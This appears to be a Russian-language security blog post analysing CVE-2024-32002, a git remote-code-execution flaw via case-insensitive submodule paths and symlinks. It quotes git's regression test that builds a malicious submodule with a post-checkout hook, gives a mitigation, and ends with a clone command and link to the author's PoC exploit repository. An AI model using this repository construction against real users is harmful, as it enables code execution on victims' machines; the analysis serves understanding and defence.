May 20, 2024

RCE через git clone


CVE-2024-32002
Сложность эксплуатации: простая
#RCE #CVE #git

Идея о том, что RCE может быть достигнута простой командой git clone.
Важное замечание: атака работает из-за включенных символических ссылок, следовательно можно избежать атаки выключив их git config --global core.symlinks false

Внутренняя кухня git'а


git - это система контроля версий, которая отслеживает изменения в коде с течением времени. Она управляет сложными проектами, разделяя их на более мелкие, управляемые куски, называемые репозиториями. Чтобы еще больше упростить этот процесс, Git использует подмодули - по сути, репозитории, вложенные в другие репозитории. Запомните эту концепцию.

Каждый подмодуль находится в определенном каталоге в основном репозитории. Git отслеживает путь к подмодулю, обеспечивая точную запись изменений. Однако есть одна загвоздка: в файловых системах, не чувствительных к регистру (как, например, в Windows и macOS по умолчанию), A/modules/x и a/modules/x считаются одним и тем же путем. Эта, казалось бы, мелочь - это БАЗА для CVE-2024-32002.

Символьные ссылки


Символьные ссылки - это объекты файловой системы, которые служат указателями на другие файлы или каталоги. В контексте Git они могут использоваться для ссылок на другие части репозитория. Несмотря на удобство, симлинки также могут быть использованы во вредоносных целях.

Чекаем изменения в коммитах


Всего было изменено 2 файла, builtin/submodule--helper.c и t/t7406-submodule-update.sh

Рассмотрим builtin/submodule--helper.c


Сфокусируемся на функции clone_submodule, которая как вы могли догадаться, занимается клонируем.

  • Новая функция dir_contains_only_dotgit: Эта функция проверяет, содержит ли каталог только файл или каталог .git. Если присутствуют другие файлы или каталоги, она возвращает ошибку. Это выглядит как проверка безопасности, чтобы исключить случайную перезапись каталогов с помощью симлинков.
  • Изменения в clone_submodule: Прежде чем приступить к клонированию, Git проверяет, существует ли каталог субмодуля и пуст ли он. Если нет, он прерывает операцию, чтобы избежать случайной перезаписи.

Изменения в clone_submodule

Прежде чем приступить к клонированию, Git проверяет, существует ли каталог субмодуля и пуст ли он. Если нет, он прерывает операцию, чтобы избежать случайной перезаписи.

Рассмотрим t/t7406-submodule-update.sh


1. Глобальная конфигурация

test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&

  • Скрипт устанавливает параметры конфигурации Git: protocol.file.allow всегда включает файловый протокол для Git. core.symlinks true обеспечивает включение поддержки симлинков.
  • Также скрипт определяет tell_tale_path как файл-маркер для проверки работоспособности RCE.

2. Настройка hook репозитория

git init hook &&
(
    cd hook &&
    mkdir -p y/hooks &&
    write_script y/hooks/post-checkout <<-EOF &&
    echo HOOK-RUN >&2
    echo hook-run >"$tell_tale_path"
    EOF
    git add y/hooks/post-checkout &&
    test_tick &&
    git commit -m post-checkout
) &&
  • Инициализирует новый репозиторий с именем hook.
  • Создает пост-чекаут хук, который записывает hook-run в tell_tale_path.
  • Коммитит скрипт хука в репозиторий hook.

3. Настройка main репозитория

hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
    cd captain &&
    git submodule add --name x/y "$hook_repo_path" A/modules/x &&
    test_tick &&
    git commit -m add-submodule &&
    printf .git >dotgit.txt &&
    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
    printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
    git update-index --index-info <index.info &&
    test_tick &&
    git commit -m add-symlink
) &&
  • Определяет путь к хранилищу hook'ов.
  • Инициализирует другой репозиторий с именем captain.
  • Добавляет репозиторий hook в качестве подмодуля в A/modules/x и фиксирует это изменение.
  • Создает симлинк, указывающий на .git, и обновляет индекс с помощью этого симлинка.

Тестим нашу вкусняшку

test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"

  • Проверка, что tell_tale_path изначально не существует.
  • Пытается рекурсивно клонировать репозиторий captain, ожидая, что операция завершится неудачей.
  • Проверяет сообщение об ошибке directory not empty, подтверждая предотвращение уязвимости.
  • Убеждается, что tell_tale_path по-прежнему не существует, что указывает на то, что hook после проверки не был запущен. Моей целью было сделать все наоборот!

Итог ресерча


Корень проблемы кроется в том, что файловые системы с учетом регистра воспринимают такие пути, как A/modules/x и a/modules/x, как идентичные. Это позволяет создать вредоносную симлинку внутри подмодуля. Эта символическая ссылка называется с учетом регистра пути подмодуля (например, A/modules/x), но скрытно указывает на скрытый каталог .git/ подмодуля.

⚠️ RCE PoC ⚠️


Эксплойт работает на Windows & MacOS


Вы можете забрать скрипт для билда репозиториев ТЫК

git clone --recursive git@github.com:szybnev/git_rce.git

➡️ Ресерч - https://amalmurali.me/posts/git-rce/

🧩 PoC - https://github.com/szybnev/git_rce/

🌚 @poxek